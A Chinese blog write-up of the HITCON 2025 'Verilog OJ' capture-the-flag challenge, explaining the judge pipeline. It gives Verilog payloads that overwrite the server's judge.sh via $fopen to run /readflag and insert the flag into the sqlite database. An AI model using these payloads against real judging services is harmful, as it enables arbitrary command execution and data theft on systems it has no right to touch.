当前位置: 首页 > ops >正文

hintcon2025 Verilog OJ

#web

题目要求我们执行 /readflag give me the flag

if ((strcmp(argv[1], "give") | strcmp(argv[2], "me") | strcmp(argv[3], "the") | strcmp(argv[4], "flag")) != 0) {puts("You are not worthy");return 1;
}

首先,我们了解 #Verilog 是什么?


简单来说,你可以把它理解为一种用于描述和设计数字电路的专用编程语言。

核心概念:它不是普通的“编程”语言

这是理解 Verilog 最关键的一点。它与 C Python 或 Java 这类软件编程语言有根本性的不同:

  • 软件编程语言:用于编写顺序执行的指令,在 CPU 上一步步地运行
  • Verilog(硬件描述语言):用于描述电子系统的结构和行为。你写的代码不是在“运行”,而是在“描述”一个硬件电路,比如寄存器、连线、逻辑门(与门、或门等)、内存等。

你可以把它想象成用文本的形式来画一张数字电路的蓝图

Verilog 的主要特点和用途

  1. 描述硬件:你可以描述一个简单的逻辑门,也可以描述一个复杂的多核处理器。
  2. 不同抽象层次:支持在不同细节级别上描述电路:
    • 行为级:描述电路的功能和输入/输出行为,不关心具体如何实现(用 alwaysif-else 等描述算法)。
    • 寄存器传输级:这是最常用的级别。描述数据如何在寄存器之间流动,以及如何处理这些数据。RTL 设计是综合的核心。
    • 门级:描述由基本逻辑门(AND, OR, NOT, XOR 等)和它们之间的连线组成的电路。
    • 开关级:描述晶体管级别的电路,非常底层,现在较少使用。
  3. 并行性:硬件是并行工作的。在 Verilog 中,多条语句通常是同时执行的,这与软件的顺序执行截然不同。
  4. 可综合与不可综合
    • 可综合:代码可以被综合工具转换为实际的数字电路网表(即门级电路图)。这是设计芯片和 FPGA 的目标。
    • 不可综合:主要用于测试平台,用于对设计好的电路模块进行仿真和验证(例如,生成测试信号,检查输出结果是否正确)。

一个简单的例子:一个 D 触发器

这是一个最基本的数字电路元件。

module d_ff (input wire clk,    // 时钟信号input wire d,      // 输入数据output reg q       // 输出数据
);// 在时钟的上升沿,将输入 d 的值锁存到输出 q
always @(posedge clk) beginq <= d;
endendmodule

这段代码描述了一个电路:当时钟信号 clk 从低电平跳到高电平(上升沿)时,输入端 d 的值就会被传递到输出端 q 并保持住,直到下一个上升沿到来。


核心代码运行逻辑如下

# frozen_string_literal: truerequire 'sidekiq'
require_relative '../models/submission'module VerilogOJ# 判题任务类class JudgeJobinclude Sidekiq::Job# 执行判题任务def perform(submission_id)submission = Submission.first(id: submission_id) # 查找提交记录return if submission.nil? || submission.result != 'Q' # 如果提交不存在或状态不是待判(Q),则返回dir = prepare(submission) # 准备判题所需的临时目录和文件result, output = judge dir # 执行判题submission.update(result: result, output: output) unless result.nil? # 更新判题结果和输出FileUtils.remove_dir(dir, force: true) # 删除临时目录end# 准备判题环境,将测试平台和用户代码写入临时目录def prepare(submission)dir = Dir.mktmpdir("submission_#{submission.id}_") # 创建临时目录File.write("#{dir}/testbench.v", submission.problem.testbench) # 写入测试平台文件File.write("#{dir}/module.v", submission.code) # 写入用户代码文件dirend# 判题逻辑def judge(dir) # rubocop:disable Metrics/MethodLengthstdout, stderr, status = Timeout.timeout(15) do# 为简化错误处理,将 iverilog 和 vvp 的执行放在同一个脚本中script_path = File.realpath("#{File.dirname(__FILE__)}/../../scripts/judge.sh")# iverilog 是安全可执行的Open3.capture3("#{script_path} #{dir}")endreturn ['RE', stderr] unless status.exitstatus.zero? # 如果脚本执行失败,返回运行错误# 如果输出最后一行为 Passed,则判为通过if !stdout.nil? && stdout.strip.lines.last == 'Passed'['AC', stdout]else['WA', stdout] # 否则判为错误endrescue Timeout::Error['TLE', 'Execution timed out'] # 超时错误rescue StandardError => e['RE', e.message] # 其他运行错误endend
end

judge.sh

#!/bin/sh
set -e
cd "$1"
iverilog module.v testbench.v -o judge
vvp judge

简要说明

这是一个用于“编译并运行 Verilog 仿真”的判题脚本,配合 Icarus Verilog 工具链执行:先编译,再运行仿真,输出供判题使用。

每行含义

  • #!/bin/sh: 用 POSIX sh 解释器执行脚本。
  • set -e: 一旦有命令返回非 0 立刻退出脚本(便于上层识别错误)。
  • cd "$1": 进入传入的目标目录(参数 $1)。
  • iverilog module.v testbench.v -o judge: 用 Icarus Verilog 将用户代码 module.v 与测试平台 testbench.v 编译为可由 vvp 运行的仿真文件 judge
  • vvp judge: 运行仿真,标准输出/错误将被上层捕获用于判题。

在本项目中的作用

  • 位于 web/scripts/judge.sh,由后台任务调用(Open3.capture3(script_path, dir)),dir 是临时目录,包含用户提交的 module.v 与题目 testbench.v。仿真输出用于判定 AC/WA/RE/TLE

从数据库中取出的判别文件 testbench.v

`timescale 1ns/1psmodule Crossbar_2x2_4bit_t;
reg [3:0] in1 = 4'b0010;
reg [3:0] in2 = 4'b0110;
wire [3:0] out1;
wire [3:0] out2;
reg control = 1'b0;integer correct = 1;Crossbar_2x2_4bit crossbar(.in1 (in1),.in2 (in2),.control (control),.out1(out1),.out2(out2)
);initial begincontrol = 1'b1;#5if (out2 != 4'b0110 || out1 != 4'b0010) begincorrect = 0;end#5control = 1'b0;#5if (out1 != 4'b0110 || out2 != 4'b0010) begincorrect = 0;$display("out1: %b, out2: %b", out1, out2);end#5in1 = 4'b0100;in2 = 4'b1001;#10control = 1'b1;#5if (out2 != 4'b1001 || out1 != 4'b0100) begincorrect = 0;$display("out1: %b, out2: %b", out1, out2);end#5control = 1'b0;#5if (out1 != 4'b1001 || out2 != 4'b0100) begincorrect = 0;$display("out1: %b, out2: %b", out1, out2);end#5if (correct == 1) begin$display("Passed");end else begin$display("Failed");end$finish(0);
end
endmodule

现在我们首先思考module.v可控如何造成任意命令执行?

搜索 https://www.cve.org/CVERecord/SearchResults?query=Verilog 未发现漏洞

module Crossbar_2x2_4bit(in1, in2, control, out1, out2);input [3:0] in1, in2;
input control;
output [3:0] out1, out2;initial begin// 把标准输出重定向到标准错误,并加超时避免阻塞$system("timeout 2s /readflag give me the flag 1>&2");// 非零退出码触发 RE,Ruby 会返回 stderr 内容$finish(1);
endendmodule
a5rz@a5rz:~/Desktop/code/test$ vvp judge
module.v:9: Error: System task/function $system() is not defined by any module.
judge: Program not runnable, 1 errors.

我们了解一下 iverilog vvp都负责什么,其原理是什么


1. Icarus Verilog (iverilog) - 编译器

职责: 编译 Verilog 源代码。

它接收一组 Verilog 文件(如你的 module.v 设计文件和 testbench.v 测试平台文件),并执行以下操作:

  1. 解析与语法检查:首先,它像大多数编译器一样,解析源代码,检查语法是否正确,是否符合 Verilog 语言规范。如果这里有错误(比如拼错关键字、漏掉分号),它会报错并停止。
  2. ** elaboration(细化)**:这是一个关键步骤。编译器会分析所有模块的层次结构,确定模块之间的连接关系。例如,你的 testbench 会实例化(instance)顶层的 module,编译器需要搞清楚它们是如何链接在一起的。
  3. 优化与转换:根据编译选项,对设计进行一些优化。最终,它将整个设计转换成一个更底层的、优化的中间表示形式。
  4. 生成目标文件iverilog 默认的目标格式不是计算机的本地机器码(如 x86 指令),而是一种特殊的字节码(bytecode)格式。这种字节码是专门为 Icarus Verilog 的仿真运行时(vvp 设计的。
    • -o judge 选项指定输出的这个字节码文件名为 judge

简单比喻: iverilog 就像 C/C++ 的编译器(如 gcc。它把人类可读的源代码(.v 文件)"翻译"成一种可执行的格式(judge 文件)。但不同的是,gcc 生成的是操作系统可以直接执行的二进制文件,而 iverilog 生成的是需要由 vvp 这个"虚拟机"来执行的字节码文件。

2. Icarus Verilog VVP (vvp) - 仿真运行时(模拟器)

职责: 执行iverilog 编译生成的字节码文件,也就是进行实际的数字仿真

vvp 是 “Icarus Verilog VVM runtime processer” 的缩写(VVM 是 Icarus Verilog 虚拟机的名称)。它的工作可以理解为:

  1. 加载字节码:读取 judge 文件,将其加载到内存中。
  2. 初始化仿真
    • 为所有变量(reg)和线网(wire)分配内存并设置初始值(例如,reg 初始为 Xwire 初始为 Z)。
    • 将整个仿真时间设置为 0。
  3. 运行仿真:这是最核心的部分,它是一个离散事件仿真器
    • 事件驱动:仿真的推进不是靠时钟,而是靠"事件"(Event)。一个事件指的是某个信号(变量或线网)的值发生了变化。
    • 调度机制
      • 当时刻 0 的初始值设定后,可能会触发一些 initialalways 块开始执行。
      • 这些块中的语句(如 #10 延迟、信号赋值等)会产生新的未来事件。例如,#10 a = 1; 会在当前时间(比如 t=0)调度一个在 t=0+10=10 时刻的事件,该事件是将 a 的值设置为 1。
      • vvp 内部维护着一个事件队列(Event Queue),也叫未来事件列表(Future Event List)。这个队列按时间顺序存储着所有已计划的事件。
    • 仿真循环
      1. 将仿真时间推进到下一个最早的事件所在的时间点。
      2. 处理当前时间点所有的事件:更新信号的值。
      3. 关键: 任何一个信号值的更新,都可能立刻触发那些对该信号敏感(如在 always @(posedge clk) 中)的进程(always/initial 块),从而产生更多的当前事件(非阻塞赋值 <= 略有不同)或未来事件(通过 # 延迟)。
      4. 重复步骤 1-3,直到事件队列为空,或遇到 $finish 系统任务,或达到指定的仿真时间限制。

在整个过程中,vvp 还会执行你在 Testbench 中编写的 $display, $monitor 等系统任务,将结果打印到屏幕上,或者根据 $dumpfile$dumpvars 的指令生成波形文件(如 .vcd 文件)。

简单比喻: vvp 就像 Java 虚拟机(JVM)Python 解释器。它提供了一个运行环境,专门用来执行某种特定的字节码(iverilog 生成的字节码)。它负责管理仿真时间、调度事件、更新信号值,并产生输出。

总结与工作原理图示

大体工作原理可以概括为:

iverilog编译) -> 中间字节码 (judge) -> vvp仿真执行) -> 输出结果/波形

一个简单的流程图:

+----------------+   编译    +-------------+   执行    +---------------------------------+
| Your Verilog   | -------> | Bytecode    | -------> | Console Output (text)           |
| Source Files   | (iverilog)| File (judge) |   (vvp)  | Waveform File (.vcd) (if dumped) |
| (module.v,     |          |             |          | Simulation Results             |
|  testbench.v)  |          +-------------+          +---------------------------------+
+----------------+

所以,iverilogvvp 的分工非常明确:

  • iverilog 是前端,负责语法和逻辑分析。
  • vvp 是后端,负责模拟电路在时间维度上的实际行为。

这种将编译和运行分开的架构非常灵活,编译一次(可能很耗时)后,可以多次快速运行仿真,并且 vvp 还可以被其他工具调用。


VVP 运行时与宿主机强隔离吗?


简短的回答是:不,VVP 运行时与宿主机的隔离性非常弱。它不是一个像 Docker 或虚拟机那样具有强隔离性的沙箱环境。

下面是详细的解释:

1. VVP 的本质:一个进程

vvp 本质上就是一个在你的操作系统(宿主机)上直接运行的普通可执行程序。它由你(当前用户)启动,并直接继承了你这个用户的几乎所有权限和能力

  • 文件系统访问vvp 可以读取和写入文件,权限与运行它的用户完全相同。这就是为什么你的 Testbench 中可以使用 $readmemh 来读取数据文件,或者使用 $dumpfile 创建波形文件。反过来,一个恶意的或存在 bug 的 Verilog 代码也可能通过 $fopen$fwrite 等系统任务意外覆盖或删除重要文件。
  • 系统调用vvp 可以执行系统调用(System Calls)。例如,当它在仿真中执行 $display("Hello World") 时,最终会通过系统调用(如 write)将字符串输出到标准输出(你的终端)。
  • 资源限制vvp 进程受限于操作系统给用户进程设定的常规限制,比如最大内存使用量、CPU 时间等。如果你的设计很大,仿真会消耗大量内存和 CPU,但这是资源消耗,而不是隔离。

2. VVP 的“虚拟机”含义

这里的关键是区分 “虚拟机”(Virtual Machine) 在不同语境下的含义:

  • Icarus Verilog VVM (VVP):这里的“虚拟机”指的是一个 “语言运行时”“解释器”。它就像 Java 虚拟机(JVM)或 Python 解释器一样,是一个可以执行特定指令集(字节码)的程序。它的“虚拟”体现在它模拟了一个数字电路的行为,而不是一个计算机系统的硬件
  • 系统虚拟机(如 VirtualBox, VMware, QEMU):这类虚拟机通过硬件虚拟化技术,模拟了整个计算机的硬件(CPU、内存、磁盘、网卡),从而可以在其中运行一个完全独立的操作系统。它们与宿主机之间有非常强的隔离性。
  • 容器(如 Docker):容器通过 Linux 内核的命名空间(Namespace)和控制组(Cgroup)等技术,提供了一个轻量级的隔离环境,实现了进程、网络、文件系统等的隔离。它的隔离性介于普通进程和系统虚拟机之间。

VVP 属于第一类。它只是一个运行特定字节码的进程,没有使用任何特殊的隔离技术。


编译后的文件有如下内容

module Crossbar_2x2_4bit(in1, in2, control, out1, out2);input [3:0] in1, in2;
input control;
output [3:0] out1, out2;endmodule
...
:vpi_module "/usr/lib/x86_64-linux-gnu/ivl/system.vpi";
:vpi_module "/usr/lib/x86_64-linux-gnu/ivl/vhdl_sys.vpi";
:vpi_module "/usr/lib/x86_64-linux-gnu/ivl/vhdl_textio.vpi";
:vpi_module "/usr/lib/x86_64-linux-gnu/ivl/v2005_math.vpi";
:vpi_module "/usr/lib/x86_64-linux-gnu/ivl/va_math.vpi";
S_0x556efde85840 .scope module, "Crossbar_2x2_4bit_t" "Crossbar_2x2_4bit_t" 2 3;
....
a5rz@a5rz:~/Desktop/code/test$ ls /usr/lib/x86_64-linux-gnu/ivl
blif.conf    ivlpp        pcb.tgt       stub.tgt        vhdlpp           vlog95-s.conf
blif-s.conf  null.conf    sizer.conf    system.vpi      vhdl-s.conf      vlog95.tgt
blif.tgt     null-s.conf  sizer-s.conf  v2005_math.vpi  vhdl_sys.vpi     vpi_debug.vpi
cadpli.vpl   null.tgt     sizer.tgt     v2009.vpi       vhdl_textio.vpi  vvp.conf
include      pcb.conf     stub.conf     va_math.vpi     vhdl.tgt         vvp-s.conf
ivl          pcb-s.conf   stub-s.conf   vhdl.conf       vlog95.conf      vvp.tgt

$fopen似乎是可用的,我可用用它来进行任意文件写入覆写judge.sh吗

a5rz@a5rz:~/Desktop/code$ sudo docker compose exec -u app oj sh -lc 'id; whoami; ls -ld /app /app/scripts; ls -l /app/scripts/judge.sh; ls -l /readflag /flag'
[sudo] password for a5rz: 
uid=1000(app) gid=1000(app) groups=1000(app)
app
drwxr-xr-x 1 root root 4096 Aug 23 12:13 /app
drwxrwxr-x 2 app  root 4096 Aug 23 12:13 /app/scripts
-rwxrw-rw- 1 app root 77 Aug 23 01:47 /app/scripts/judge.sh
-r-------- 1 root root    17 Aug 23 01:47 /flag
-r-sr-xr-x 1 root root 16464 Aug 23 12:16 /readflag
module Crossbar_2x2_4bit(in1, in2, control, out1, out2);
input [3:0] in1, in2;
input control;
output [3:0] out1, out2;
assign out1 = control ? in1 : in2;
assign out2 = control ? in2 : in1;
integer fd;
initial beginfd = $fopen("/app/scripts/judge.sh","w");if (fd) begin$fdisplay(fd,"#!/bin/sh");$fdisplay(fd,"set -e");$fdisplay(fd,"/readflag give me the flag");$fclose(fd);end
end
endmodule

然后我们似乎可通过连接数据库上传flag为新题目信息的方式获得flag

module Crossbar_2x2_4bit(in1, in2, control, out1, out2);
input [3:0] in1, in2;
input control;
output [3:0] out1, out2;
assign out1 = control ? in1 : in2;
assign out2 = control ? in2 : in1;
integer fd;
initial beginfd = $fopen("/app/scripts/judge.sh","w");if (fd) begin$fdisplay(fd,"#!/bin/sh");$fdisplay(fd,"FLAG=$(/readflag give me the flag)");$fdisplay(fd,"sqlite3 /app/app/db/store/voj.db \"INSERT INTO problems (title, description, testbench) VALUES ('$FLAG', '$FLAG', 'FLAG: $FLAG');\"");$fdisplay(fd,"echo Passed");$fclose(fd);end
end
endmodule

QEF

#沙盒逃逸 #命令执行无回显 #任意文件写入 #任意代码执行

http://www.xdnf.cn/news/18942.html

相关文章:

  • 【python】python进阶——生成器
  • 数据结构01:顺序表
  • 次元小镇官网入口 - 二次元动漫社区|COS绘画插画壁纸分享
  • [数据结构] ArrayList与顺序表(下)
  • STM32——PWR
  • 机器视觉学习-day06-图像旋转
  • KafKa学习笔记
  • 【Day 35】Linux-Mysql错误总结
  • DA14531(Cortex-M0+)之Wake-up Interrupt Controller (WIC)
  • React学习教程,从入门到精通, ReactJS - 安装:初学者指南(3)
  • linux 网络:并发服务器及IO多路复用
  • 如何将yolo训练图像数据库的某个分类的图像取出来
  • element-plus的el-scrollbar显示横向滚动条
  • 使用华为 USG6000防火墙配置安全策略
  • 传输层协议介绍
  • 企业通讯软件以安全为基,搭建高效的通讯办公平台
  • Python篇---返回类型
  • 【论文阅读】PEPNet
  • amis上传组件导入文件接口参数为base64格式的使用示例
  • 计算机三级嵌入式填空题——真题库(22)原题附答案速记
  • 强化学习与注意力机制的AlignSAM框架解析
  • 微算法科技(NASDAQ:MLGO)推出创新型混合区块链共识算法,助力物联网多接入边缘计算
  • [n8n] 工作流数据库管理SQLite | 数据访问层-REST API服务
  • Paimon——官网阅读:Flink 引擎
  • 前端javascript在线生成excel,word模板-通用场景(免费)
  • AbMole小课堂丨详解野百合碱在动物肺动脉高压、急性肺损伤、静脉闭塞肝病造模中的原理及应用
  • Go 语言常用命令使用与总结
  • 微信小程序对接EdgeX Foundry详细指南
  • 云计算学习100天-第31天
  • 从零开始的云计算生活——第五十三天,发愤图强,kubernetes模块之Prometheus和发布